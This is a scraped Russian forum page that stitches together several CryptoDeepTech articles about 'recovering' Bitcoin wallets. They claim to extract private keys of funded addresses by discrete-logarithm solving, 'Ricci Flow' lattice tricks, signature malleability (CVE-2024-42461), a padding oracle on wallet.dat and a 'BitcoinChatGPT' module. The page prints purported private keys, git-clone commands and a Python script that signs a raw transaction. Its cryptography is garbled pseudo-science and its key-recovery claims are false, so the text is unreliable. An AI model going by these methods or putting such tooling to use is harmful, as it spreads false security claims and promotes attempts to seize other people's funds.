<a href="https://pikabu.ru/story/discrete_logarithm_matematicheskie_metodyi_i_instrumentyi_po_vosstanovleniyu_kriptovalyutnyikh_koshelkov_bitcoin_12250144?u=https%3A%2F%2Fyoutu.be%2FErjCph1mI9Y%3Ft%3D324&t=%D0%92%D0%B8%D0%B4%D0%B5%D0%BE%20%D1%81%20%D0%BF%D1%80%D0%B8%D0%B2%D1%8F%D0%B7%D0%BA%D0%BE%D0%B9%20%D0%BA%D0%BE%20%D0%B2%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%B8&h=ba14809f488ea20c3e42ea371f249343a1b6fccd" title="https://youtu.be/ErjCph1mI9Y?t=324" target="_blank" rel="nofollow noopener">Видео с привязкой ко времени</a>

Видео с привязкой ко времени


Также нажимаем на кнопку Balance BTC и получаем результат суммы в балансе:

6b29781e725708ae4d94e13730a2718ee3383ea5d911e77d4c2a2fd0c99c1232: 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS: 165.10252195 BTC _____________________________________________________________________________________________________

<a href="https://pikabu.ru/story/discrete_logarithm_matematicheskie_metodyi_i_instrumentyi_po_vosstanovleniyu_kriptovalyutnyikh_koshelkov_bitcoin_12250144?u=https%3A%2F%2Fyoutu.be%2FErjCph1mI9Y%3Ft%3D330&t=%D0%92%D0%B8%D0%B4%D0%B5%D0%BE%20%D1%81%20%D0%BF%D1%80%D0%B8%D0%B2%D1%8F%D0%B7%D0%BA%D0%BE%D0%B9%20%D0%BA%D0%BE%20%D0%B2%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%B8&h=c536021d4cdf72e6f63cd7e806dc43e26618e68e" title="https://youtu.be/ErjCph1mI9Y?t=330" target="_blank" rel="nofollow noopener">Видео с привязкой ко времени</a>

Видео с привязкой ко времени


<a href="https://pikabu.ru/story/discrete_logarithm_matematicheskie_metodyi_i_instrumentyi_po_vosstanovleniyu_kriptovalyutnyikh_koshelkov_bitcoin_12250144?u=https%3A%2F%2Fyoutu.be%2FErjCph1mI9Y%3Ft%3D366&t=%D0%92%D0%B8%D0%B4%D0%B5%D0%BE%20%D1%81%20%D0%BF%D1%80%D0%B8%D0%B2%D1%8F%D0%B7%D0%BA%D0%BE%D0%B9%20%D0%BA%D0%BE%20%D0%B2%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%B8&h=35ff54de6757a9df032d84381f8444519f02a560" title="https://youtu.be/ErjCph1mI9Y?t=366" target="_blank" rel="nofollow noopener">Видео с привязкой ко времени</a>

Видео с привязкой ко времени


Приватный ключ получен!


Восстановление биткоин-кошелька с помощью методов, основанных на математике, таких как Ricci Flow Hidden Number Problem, открывает новые горизонты для понимания криптографических уязвимостей и возможностей. Мы продемонстрировали, как можно использовать программное обеспечение Perelman Work, Dockeyhunt Discrete Logarithm и DarkSignature для извлечения приватных ключей и создания поддельных транзакций, что подчеркивает важность математического анализа в сфере криптовалют.

Полученные результаты показывают, что даже в сложной системе, как Bitcoin, существуют уязвимости, которые могут быть использованы для восстановления доступа к потерянным средствам. Этот процесс требует глубоких знаний в области криптографии и математики, а также навыков работы с специализированным программным обеспечением.


Механизмы эксплуатации и значительное влияние в мультиподписные системы

Уязвимость алгоритма Joux Lercier представляет серьезную опасность для систем с мультиподписными схемами, поскольку злоумышленник может создать поддельные подписи, которые система примет, угрожая не только отдельным транзакциям, но и целостности всего процесса мультиподписей. Злоумышленник может сгенерировать поддельные подписи, которые будут приняты системой, что ставит под угрозу не только отдельные транзакции, но и весь процесс использования мультиподписи.

Недостаточная проверка входных данных пользователей может вызвать серьезные сбои в системе Bitcoin, предоставляя злоумышленникам возможность внедрить вредоносный код и манипулировать системой, создавая поддельные подписи для транзакций.


Практическая часть

Согласно теории уязвимости алгоритма Joux Lercier, злоумышленники способны использовать выявленные недостатки для атак на сеть Bitcoin, перегружая её недействительными транзакциями и тем самым нарушая её стабильность. Перейдем к практической части статьи и рассмотрим пример с использованием Биткоин кошелька: 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS , где были потерянный монеты на сумму: 165.10252195 BTC на декабрь 2024 года эта сумма составляет: 15802506,39 USD

165.10252195 &gt; 15802506,39 USD

165.10252195 > 15802506,39 USD

В конечном итоге модуль BitcoinChatGPT выдает ответ в файл: KEYFOUND.privkey сохранив приватный ключ в двух наиболее используемых форматах HEX & WIF

https://github.com/demining/CryptoDeepTools/blob/main/37DiscreteLogarithm/KEYFOUND.privkey


BitcoinChatGPT №6 Joux Lercier Vulnerability Algorithm

getaddressinfo 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS


Мы видим что файл: wallet.dat принадлежит Биткоин Адресу: 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS


Файл: wallet.dat зашифрован паролем!



Запустим команду для проверки приватного ключа:

dumpprivkey 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS


Мы видим предупреждение: Error: Please enter the wallet passphrase with walletpassphrase first. (code -13)


Padding Oracle Attack


Воспользуемся методом Padding Oracle Attack на Wallet.dat и расшифруем пароль для доступа в бинарный формат пароля.

Откроем bitaddress и проверим:

https://cryptodeeptech.ru/bitaddress.html

ADDR: 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS WIF: 5JdUtcYt3ZBQN8aPZWNffXzNCTPds7aQtJk7zc9iQShNQ9yWe7x HEX: 6b29781e725708ae4d94e13730a2718ee3383ea5d911e77d4c2a2fd0c99c1232

Заключение и меры по смягчению угрозы:

В этой статье мы исследовали методы восстановления потерянных криптовалютных кошельков и приватных ключей с помощью математических алгоритмов, таких как решение дискретного логарифма и проблема скрытых чисел (Hidden Number Problem). Мы продемонстрировали, как использовать программное обеспечение Dockeyhunt Discrete Logarithm, DarkSignature и Perelman Work для извлечения приватных ключей из уязвимых транзакций, использующих алгоритм ECDSA.Наше исследование показало, что даже в таких безопасных системах, как Bitcoin, существуют уязвимости, которые могут быть использованы для восстановления доступа к потерянным средствам. Процесс восстановления требует глубоких знаний в области криптографии и математики, а также навыков работы с специализированным программным обеспечением.

Для защиты от угроз, связанных с уязвимостью Joux Lercier, пользователям необходимо предпринять следующие шаги:

  1. Обновление программного обеспечения: Регулярное обновление криптовалютных кошельков до версий, устраняющих уязвимости, критически важно для обеспечения безопасности.

  2. Улучшение механизмов проверки подписей: Усиленная валидация входных данных и обработка ошибок помогут предотвратить создание поддельных подписей и защитить приватные ключи пользователей.

  3. Мониторинг сетевой активности: Постоянный анализ состояния сети и выявление подозрительных транзакций на ранних этапах позволяют оперативно реагировать на попытки эксплуатации уязвимостей.

  4. Применение многофакторной аутентификации: Внедрение дополнительных криптографических методов защиты значительно повысит безопасность.

Чтобы предотвратить возможные атаки, связанные с уязвимостью Joux Lercier, пользователям Bitcoin настоятельно рекомендуется обновить программное обеспечение своих кошельков до последних версий, которые устраняют эту уязвимость. Регулярные обновления программного обеспечения, внедрение систем обнаружения аномалий и повышение осведомленности пользователей о возможных угрозах помогут сохранить целостность и безопасность криптовалютных систем.

Уязвимость алгоритма Joux Lercier представляет собой значительную угрозу для безопасности криптовалютных транзакций и целостности блокчейна. Для минимизации рисков пользователи должны регулярно обновлять программное обеспечение, применять строгие меры безопасности и проводить постоянный мониторинг состояния сети. Эти меры помогут сохранить безопасность и устойчивость криптовалютных систем, защищая пользователей от потенциальных угроз и финансовых потерь.

Результаты нашего исследования подчеркивают важность математического анализа в сфере криптовалют и демонстрируют потенциальные возможности использования сложных математических методов для решения реальных задач в области криптоанализа. Однако важно отметить, что такие методы могут быть использованы как для восстановления доступа к потерянным средствам, так и для эксплуатации уязвимостей, что подчеркивает необходимость повышения безопасности криптовалютных систем.


References:

  1. The impact of the number field sieve on the discrete logarithm problem in finite fields OLIVER SCHIROKAUER

  2. Discrete Logarithms Aurore Guillevic, François Morain

  3. Discrete logarithm computation in finite fields Fp n with NFS variants and consequences in pairing-based cryptography Aurore Guillevic Inria Nancy, Caramba team

  4. Discrete logarithm problem (DLP) & ECDSA Many slides are from Rong-Jaye Chen@NCTU

  5. The Discrete-Logarithm Problem with Preprocessing Henry Corrigan-Gibbs and Dmitry Kogan Stanford University August 3, 2021

  6. Discrete Logarithm Factory Haetham Al Aswada , Emmanuel Thomé and Cécile Pierrot Université de Lorraine, CNRS, Inria, LORIA, Nancy, France

  7. On the discrete logarithm problem for prime-field elliptic curves Citation for published version (APA): Amadori, A. G., Pintore, F., & Sala, M. (2018)

  8. An evaluation of the discrete logarithm cryptosystem Yansheng Chen Kristin School, Auckland, New Zealand

  9. Efficient Proofs Of Knowledge of Discrete Logarithms and Representations in Groups with Hidden Order Endre Bangerter , Jan Camenisch , and Ueli Maurer IBM Research, Zurich Research Lab, CH-8803 Rueschlikon, Switzerland Departement of Computer Science, ETH Zurich, CH-8092 Zurich, Switzerland

  10. Proof Systems for General Statements about Discrete Logarithms Jan Camenisch Dept. of Computer Science Haldeneggsteig 4 ETH Zurich CH-8092 Zurich, Switzerland Markus Stadler Union Bank of Switzerland Ubilab Bahnhofstrasse 45 CH-8021 Zurich, Switzerland

  11. Evidence that the Diffie-Hellman Problem is as Hard as Computing Discrete Logs Jonah Brown-Cohen

  12. Divisibility, Smoothness and Cryptographic Applications David Naccache Equipe de cryptographie ´ Ecole normale sup´erieure ´ 45 rue d’Ulm, F-75230 Paris, Cedex 05, France Igor E. Shparlinski Department of Computing Macquarie University Sydney, NSW 2109, Australia October 17, 2008

  13. CDLS: Proving Knowledge of Committed Discrete Logarithms with Soundness Sofia Celi , Shai Levin , and Joe Rowell Brave Software, University of Auckland, Royal Holloway, University of London

  14. Basic Discrete Logarithm Algorithms “Mathematics of Public Key Cryptography” by Steven Galbraith

  15. Computing small discrete logarithms faster Daniel J. Bernstein and Tanja Lange Department of Computer Science University of Illinois at Chicago, Chicago, IL 60607–7053, USA Department of Mathematics and Computer Science Technische Universiteit Eindhoven, P.O. Box 513, 5600 MB Eindhoven, the Netherlands

  16. Discrete Logarithms on Elliptic Curves Aaron Blumenfeld University of Rochester

  17. The Past, evolving Present and Future of Discrete Logarithm Antoine Joux, Andrew Odlyzko and Cécile Pierrot

  18. Discrete logarithms in finite fields and their cryptographic significance A. M. Odlyzko AT&T Bell Laboratories Murray Hill, New Jersey

  19. Discreet Log Contracts Thaddeus Dryja MIT Digital Currency Initiative

  20. Solving a 676-bit Discrete Logarithm Problem in GF(36n) Takuya Hayashi , Naoyuki Shinohara , Lihua Wang, Shin’ichiro Matsuo , Masaaki Shirase, and Tsuyoshi Takagi Future University Hakodate, Japan. National Institute of Information and Communications Technology, Japan.

  21. ECDSA Security in Bitcoin and Ethereum: a Research Survey Hartwig Mayer CoinFabrik Revised June 28, 2016

  22. Bitcoin Security with a Twisted Edwards Curve Meryem Cherkaoui Semmouni, Abderrahmane Nitaj, Mostafa Belkasmi

  23. The Discrete Logarithm Problem in GL(n, q) Alfred J. Menezes and Yi-Hong Wu Dept. of Discrete and Statistical Sciences 120 Math Annex Auburn University

  24. The Discrete Logarithm Problem on Elliptic Curves of Trace One Nigel P. Smart Network Systems Department HP Laboratories Bristol October, 1997

  25. Elliptic Curve Digital Signatures and Their Application in the Bitcoin Crypto-currency Transactions Benjamin K. Kikwai 16 October 2017

  26. Mathematics of Bitcoin: The ECDSA by Lewis Combes MA4K8 Scholarly Report Submitted to The University of Warwick Mathematics Institute April, 2018

  27. Discrete Logarithm in Galois Rings Samuel Bertrand Liyimbeme Mouchili African Institute for Mathematical Sciences (AIMS)-Cameroon alumnus, Cameroon

  28. The discrete logarithm problem and its application in Cryptography Roger Oyono University of French Polynesia, Tahiti Lectures in Cryptography for Master class Madrid, April 2009

  29. The Discrete Logarithm Problem Rene Schoof

  30. Asymmetric cryptography from discrete logarithms Benjamin Smith Summer school on real-world crypto and privacy Sibenik, Croatia // June 17 2019

  31. Intractability of Learning the Discrete Logarithm with Gradient-Based Methods Rustem Takhanov Maxat Tezekbayev Artur Pak Department of Mathematics, Nazarbayev University, Astana, Kazakhstan Arman Bolatov Department of Computer Science, Nazarbayev University, Astana, Kazakhstan Zhibek Kadyrsizova Department of Mathematics, Nazarbayev University, Astana, Kazakhstan Zhenisbek Assylbekov Department of Mathematical Sciences, Purdue University Fort Wayne, Fort Wayne, IN, USA

  32. Discrete Logarithms in Cryptography Frederik Vercauteren ESAT/COSIC — K.U. Leuven ECRYPT Summer School 2008

  33. THE DISCRETE LOG PROBLEM AND ELLIPTIC CURVE CRYPTOGRAPHY NOLAN WINKLER

Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.


Исходный код

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/i9KYih_ffr8

Video tutorial: https://dzen.ru/video/watch/6784be61b09e46422395c236

Источник: https://cryptodeeptool.ru/discrete-logarithm


Показать полностью 21 3
0

Исследование уязвимости Signature Malleability и компрометации приватного ключа в подписи Bitcoin [Часть №3]

В первой части статьи мы провели большое исследование уязвимости Signature Malleability, угрожающей безопасности популярных криптовалют, таких как Bitcoin и Ethereum. Во второй части статьи мы рассмотрели на реальном примере механизмы эксплуатации CVE-2024-42461 в библиотеке Elliptic для ECDSA, используя биткоин-кошелек 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw, на котором были потеряны монеты на сумму 21.2529214 BTC, что на ноябрь 2024 года составляет 1,744,572.51 USD. В этой третьей части статьи мы рассмотрим методы поиска уязвимости Signature Malleability, как предотвращение угрозы для собственного криптовалютного кошелька Bitcoin и Ethereum мы можем воспользоваться и применить на примерах различных методов машинного обучение.

Воспользуемся списком из “Tutorials Power AI” широко применяемая категория искусственного интеллекта для введение бизнеса в различных сферах деятельности криптоанализа и крипографии в целом.

Команда установки:

git clone https://github.com/demining/Tutorials-Power-AI.git

cd Tutorials-Power-AI/

python tutorials.py

BitcoinChatGPT — это инновационный чат-бот на базе искусственного интеллекта, который помогает пользователям находить уязвимости в транзакциях криптовалюты Bitcoin. Преимущества и классификации BitcoinChatGPT дают возможность проверить ваш адрес Bitcoin на предмет различных схем атак на криптокошельки. Машинное обучение на основе криптоанализа дает нам полную возможность исследовать различные атаки на алгоритмы, используемые в экосистеме Bitcoin. Инструменты для извлечения приватого ключа из реестра Bitcoin Wallet широко популярны, где BitcoinChatGPT служит важным и полезным ресурсом для кибербезопасности.

Применим уязвимость CVE-2024-42461: Signature Malleability в библиотеке Elliptic для создания Raw транзакции с помощью процесса машинного обучение BitcoinChatGPT

Рассмотрим построение структуры уязвимой Raw транзакции в котором используется модуль BitcoinChatGPT

Откроем версию Google Colab:

https://colab.research.google.com/drive/1YGZiPtgY0vPQ3PwUvbAjQW8LcErVHRsT

State of a vulnerable transaction in Bitcoin: 01000000 ....01 ........0dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935 ............00000000 ........8b483045 ....0221 ...........00 ...........97255916a3cc4f69d4fa16f68219d0b1798d392fb0dce5fb0a358510df8cabe0 ....0220 ........1014656120e0a6e7c8c4a79ee22b3cdd4f55435e3e9bf3ab7287ae16858dd9d5 .....0141 .....049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461 ....ffffffff 01 ....d204000000000000 ........1976 ............a914 ........d77522a2b18e0064aba02ca7f864a5bb22998259 ....88ac 00000000

Соединим все выданные значение в одну общую строку с помощью Python-скрипта combinex.py:

01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b48304502210097255916a3cc4f69d4fa16f68219d0b1798d392fb0dce5fb0a358510df8cabe002201014656120e0a6e7c8c4a79ee22b3cdd4f55435e3e9bf3ab7287ae16858dd9d50141049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461ffffffff01d2040000000000001976a914d77522a2b18e0064aba02ca7f864a5bb2299825988ac00000000

Откроем опцию от BlockCypher «Decode A Transaction»:

https://live.blockcypher.com/btc/decodetx/

После декодирование уязвимой Raw транзакции Биткоина мы получаем результат:

{ "addresses": [ "1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK", "1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw" ], "block_height": -1, "block_index": -1, "confirmations": 0, "double_spend": false, "fees": 2606688996428, "hash": "a5828ec5775b967c36ab5c6a0184aaa52fd64e6650d07287cc7688266c6dbb28", "inputs": [ { "addresses": [ "1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK" ], "age": 344419, "output_index": 0, "output_value": 2606688997662, "prev_hash": "35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d", ....... ....... .......

Обратим внимание на Bitcoin HASH160: d77522a2b18e0064aba02ca7f864a5bb22998259

https://github.com/demining/CryptoDeepTools/blob/dfc7da9a6b41d72253bfcb6ae6da2718de7d9b87/36SignatureMalleability/DecodeRawTX.txt#L31

Transaction Script

The above script has been decoded

BitcoinChatGPT создает структуру транзакции, используя HASH публичного ключа, где мы видим что Bitcoin address: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw отправляет 1234 satoshi на тот же адрес внутри своей сети.

Bitcoin HASH160 был получен с помощью Python Script: wif_to_hash160.py

<a href="https://pikabu.ru/story/issledovanie_uyazvimosti_signature_malleability_i_komprometatsii_privatnogo_klyucha_v_podpisi_bitcoin_chast_3_12055413?u=https%3A%2F%2Fgithub.com%2Fdemining%2FCryptoDeepTools%2Fblob%2Fmain%2F36SignatureMalleability%2FDecodeRawTX.txt%23L31&t=d77522a2b18e0064aba02ca7f864a5bb22998259&h=3916a1de8c0846ef45877197f79931b69bed3374" title="https://github.com/demining/CryptoDeepTools/blob/main/36SignatureMalleability/DecodeRawTX.txt#L31" target="_blank" rel="nofollow noopener">d77522a2b18e0064aba02ca7f864a5bb22998259</a>

d77522a2b18e0064aba02ca7f864a5bb22998259

https://github.com/demining/CryptoDeepTools/blob/main/36SignatureMalleability/wif_to_hash160.py

Вопрос — Ответ:

В конечном итоге модуль BitcoinChatGPT выдает ответ в файл: KEYFOUND.privkey сохранив приватный ключ в двух наиболее используемых форматах HEX & WIF

https://github.com/demining/CryptoDeepTools/blob/main/36SignatureMalleability/KEYFOUND.privkey

============================= KEYFOUND.privkey ============================= Private Key HEX: 0x17e96966f15a56993e13f8c19ce34a99111ad768a051d9febc24b6d48cae1951 Private Key WIF: 5HzpNjEsxrpxPFqBKaoRSnFeq7RP57mvzwgoQFVtAJNZBpLVyur Bitcoin Address: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw Balance: 21.25292140 BTC ============================= KEYFOUND.privkey =============================

BitcoinChatGPT №5 Signature Malleability Vulnerability Algorithm

Уязвимая Raw транзакция

Создадим из полученных данных уязвимую Raw транзакцию используя репозиторию Broadcast Bitcoin Transaction

Скачаем и установим исходный код откроем терминал и запустим команду:

git clone https://github.com/smartibase/Broadcast-Bitcoin-Transaction....

Каталог:

cd Broadcast-Bitcoin-Transaction

Установим три важные библиотеки:

<a href="https://pikabu.ru/story/issledovanie_uyazvimosti_signature_malleability_i_komprometatsii_privatnogo_klyucha_v_podpisi_bitcoin_chast_3_12055413?u=https%3A%2F%2Fgithub.com%2Fsmartibase%2FBroadcast-Bitcoin-Transaction%2Fblob%2Fmain%2Frequirements.txt&t=requirements.txt&h=e61bf3f6194b080b6f36020c1544d75782a2bf26" title="https://github.com/smartibase/Broadcast-Bitcoin-Transaction/blob/main/requirements.txt" target="_blank" rel="nofollow noopener">requirements.txt</a>

requirements.txt

Запустим команду:

pip install -r requirements.txt

Откроем в Notepad++ основной файл и внесем небольшие изменение в коде Python Script: main.py

from io import BytesIO from secp256k1 import * from sighash import * pk = PrivateKey.parse("5HzpNjEsxrpxPFqBKaoRSnFeq7RP57mvzwgoQFVtAJNZBpLVyur") pk.address() tx = bytes.fromhex("35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d") index = 0 send = "1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw" tx_in = TxIn(tx, index, b'', 0xffffffff) tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey'] tx_in._value = 2345 tx_ins = [ tx_in ] tx_outs = [ TxOut(1234, Tx.get_address_data(send)['script_pubkey'].serialize()) ] tx = Tx(1, tx_ins, tx_outs, 0, testnet=True) signature(tx, 0, pk) tx.serialize().hex() print(tx.serialize().hex()) f = open("RawTX.txt", 'w') f.write("" + tx.serialize().hex() + "" + "\n") f.close()

Запустим команду:

python main.py

Уязвимая транзакция создана!

Откроем файл RawTX в каталоге:

01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b48304502210097255916a3cc4f69d4fa16f68219d0b1798d392fb0dce5fb0a358510df8cabe002201014656120e0a6e7c8c4a79ee22b3cdd4f55435e3e9bf3ab7287ae16858dd9d50141049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461ffffffff01d2040000000000001976a914d77522a2b18e0064aba02ca7f864a5bb2299825988ac00000000

Порядок выполнения действий на видео:

  1. Именно эту уязвимую RawTX мы рассматривали в начале данной статьи: ↩︎

Процесс декодирование RawTX с помощью инструмента <a href="https://pikabu.ru/story/issledovanie_uyazvimosti_signature_malleability_i_komprometatsii_privatnogo_klyucha_v_podpisi_bitcoin_chast_3_12055413?u=https%3A%2F%2Fgithub.com%2Fsmartibase%2FBroadcast-Bitcoin-Transaction%2Ftree%2Fmain%2Fdecoderaw&t=decoderaw&h=13b2af61ff62d46a1d11f037ba156b9eab2dba3f" title="https://github.com/smartibase/Broadcast-Bitcoin-Transaction/tree/main/decoderaw" target="_blank" rel="nofollow noopener">decoderaw</a>

Процесс декодирование RawTX с помощью инструмента decoderaw

Как нам известно из prompt ответов модуля BitcoinChatGPT Signature Malleability Vulnerability Algorithm может быть использован для решения сложных криптографических задач.

Заключение

Существует множество методов обнаружения и предотвращения поддельных подписей в сети Bitcoin. Эти методы варьируются от простых решений, таких как увеличение количества подтверждений, до более сложных систем анализа аномалий и регулярного обновления протоколов безопасности. Эффективная защита требует комплексного подхода к обеспечению безопасности сети и постоянного мониторинга новых угроз. Поддельные подписи могут привести к мошенническим транзакциям и потере средств. Основные методы, используемые для обнаружения и предотвращения таких атак:

1. Увеличение количества подтвержденийОдним из простейших способов защиты от поддельных подписей является увеличение количества подтверждений транзакции перед ее окончательным принятием. Рекомендуется ждать не менее шести подтверждений, чтобы снизить вероятность успешной атаки. Это позволяет убедиться в том, что транзакция была включена в блок и не может быть отменена.2. Анализ блоков и транзакцийМайнинговое ПО и узлы сети анализируют блоки и транзакции на предмет конфликтов и аномалий. Это включает проверку подписи на соответствие формату, а также проверку значений r и s на допустимые диапазоны. Если значения находятся вне допустимых пределов, транзакция может быть отклонена.3. Внедрение систем анализа аномалийИспользование систем анализа аномалий позволяет выявлять подозрительные транзакции и цепочки блоков. Эти системы могут использовать алгоритмы машинного обучения для обнаружения необычного поведения в сети, что может указывать на попытки подделки подписей.4. Программное обеспечение для мониторинга сетиИнструменты, такие как Wireshark, могут быть использованы для анализа сетевого трафика и выявления подозрительных активностей. Мониторинг сетевого трафика позволяет выявлять атаки типа «Sybil» или «Eclipse», которые могут быть использованы для манипуляции с транзакциями.5. Регулярное обновление протоколов безопасностиРегулярное обновление программного обеспечения и протоколов безопасности помогает устранить известные уязвимости, такие как уязвимость DeserializeSignature, которая позволяет злоумышленникам создавать недействительные подписи. Обновления должны включать исправления для всех известных уязвимостей и улучшения безопасности.6. Многоуровневое подтверждениеИспользование нескольких уровней подтверждения транзакций может повысить безопасность сети. Это может включать дополнительные проверки со стороны узлов или использование сторонних сервисов для верификации подписей.

References:

  1. Odlyzko, Andrew; te Reile, Herman J. J. «Disproving Mertens Conjecture» Journal für die reine und angewandte Mathematik

  2. D. Simon (2007). «Selected applications of LLL in number theory» LLL+25 Conference. Caen, France.

  3. Regev, Oded. «Lattices in Computer Science: LLL Algorithm» New York University. Retrieved 1 February 2019.

  4. Silverman, Joseph. «Introduction to Mathematical Cryptography Errata» Brown University Mathematics Dept. Retrieved 5 May 2015.

  5. Bosma, Wieb. «4. LLL» Lecture notes. Retrieved 28 February 2010.

  6. Abderrahmane, Nitaj. Cryptanalysis of NTRU with two public keys // International Association for Cryptologic Research. — Caen, France.

  7. Bleichenbacher, Daniel and May, Alexander. New Attacks on RSA with Small Secret CRT-Exponents // International Association for Cryptologic Research. — Darmstadt, Germany.

  8. Xinyue, Deng. An Introduction to LLL Algorithm // Massachusetts Institute of Technology.

  9. Liu, Jiayang, Bi, Jingguo and Xu, Songyan. An Improved Attack on the Basic Merkle–Hellman Knapsack Cryptosystems // IEEE. — Beijing 100084, China.

  10. Lattice algorithms using floating-point arithmetic // The FPLLL development team. FPLLL, a lattice reduction library. — 2016.

Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.

Исходный код

Google Colab

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/wf6QwCpP3oc

Video tutorial: https://dzen.ru/video/watch/674116440bddfa35d730ca7a

Источник: https://cryptodeeptool.ru/signature-malleability

Показать полностью 16 3

Исследование уязвимости Signature Malleability и компрометации приватного ключа в подписи Bitcoin [Часть №2]

В первой части статьи мы провели большое исследование уязвимости Signature Malleability, угрожающей безопасности популярных криптовалют, таких как Bitcoin и Ethereum. В этой части мы рассмотрим на реальном примере механизмы эксплуатации CVE-2024-42461 в библиотеке Elliptic для ECDSA, используя биткоин-кошелек 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw, на котором были потеряны монеты на сумму 21.2529214 BTC, что на ноябрь 2024 года составляет 1,744,572.51 USD

<a href="https://pikabu.ru/story/issledovanie_uyazvimosti_signature_malleability_i_komprometatsii_privatnogo_klyucha_v_podpisi_bitcoin_chast_2_12055386?u=https%3A%2F%2Fyoutu.be%2FisWxfa3PeHU%3Ft%3D94&t=%D0%92%D0%B8%D0%B4%D0%B5%D0%BE%20%D1%81%20%D0%BF%D1%80%D0%B8%D0%B2%D1%8F%D0%B7%D0%BA%D0%BE%D0%B9%20%D0%BA%D0%BE%20%D0%B2%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%B8&h=22d1e08f740c48b0b629a25da299327290da7632" title="https://youtu.be/isWxfa3PeHU?t=94" target="_blank" rel="nofollow noopener">Видео с привязкой ко времени</a>

Видео с привязкой ко времени

Как мы видим первые две цифры значение S выстроено как Порядок группы (N)

Python скрипт: value_n.py

В качестве инструмента для математического анализа и решения дифференциальных уравнений применим программное обеспечение Perelman Work. Выберем опцию из раздела Functions and Graphs для полной взаимосвязи между переменными через интеграцию First-order differential equations: [ frac{dy}{dx} = g(y)h(x) quad Rightarrow quad frac{1}{g(y)} dy = h(x) dx ]

Ricci Flow Hidden Number Problem

Копируем значений из файла: Signatures.txt по списку и вставим в поле ввода Ricci Flow HNP чтобы выстроит совершенно новые транзакции алгоритма ECDSA.

<a href="https://pikabu.ru/story/issledovanie_uyazvimosti_signature_malleability_i_komprometatsii_privatnogo_klyucha_v_podpisi_bitcoin_chast_2_12055386?u=https%3A%2F%2Fyoutu.be%2FisWxfa3PeHU%3Ft%3D226&t=%D0%92%D0%B8%D0%B4%D0%B5%D0%BE%20%D1%81%20%D0%BF%D1%80%D0%B8%D0%B2%D1%8F%D0%B7%D0%BA%D0%BE%D0%B9%20%D0%BA%D0%BE%20%D0%B2%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%B8&h=d9f9c60df3c3590dc25220516e2fdf889fe85320" title="https://youtu.be/isWxfa3PeHU?t=226" target="_blank" rel="nofollow noopener">Видео с привязкой ко времени</a>

Видео с привязкой ко времени

С помощью Perelman Work и Dockeyhunt Lattice Attack мы произвольно меняем переменные на уязвимость Signature Malleability как мы писали в начале статьи данная уязвимость в транзакции Bitcoin возникают из-за того, что существует возможность изменить значение S в подписи, сохраняя при этом действительность подписи. Как мы сообщали в произвольной формуле все это возможно благодаря тому, что для одной и той же подписи можно получить несколько эквивалентных значений (r,s′):

В конечном результате преобразование переменных в сигнатуре значение R, S′, Z мы видим две цифры значение S выстроено как структура поля (P):

P = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f

Это число определяет поле, в котором работает кривая secp256k1 для функционирование математических операций над точками на эллиптической кривой.

<a href="https://pikabu.ru/story/issledovanie_uyazvimosti_signature_malleability_i_komprometatsii_privatnogo_klyucha_v_podpisi_bitcoin_chast_2_12055386?u=https%3A%2F%2Fyoutu.be%2FisWxfa3PeHU%3Ft%3D1250&t=%D0%92%D0%B8%D0%B4%D0%B5%D0%BE%20%D1%81%20%D0%BF%D1%80%D0%B8%D0%B2%D1%8F%D0%B7%D0%BA%D0%BE%D0%B9%20%D0%BA%D0%BE%20%D0%B2%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%B8&h=6ac47a28aa3cb68e5eb57973ade6da913f9dbe63" title="https://youtu.be/isWxfa3PeHU?t=1250" target="_blank" rel="nofollow noopener">Видео с привязкой ко времени</a>

Видео с привязкой ко времени

Python скрипт: value_p.py

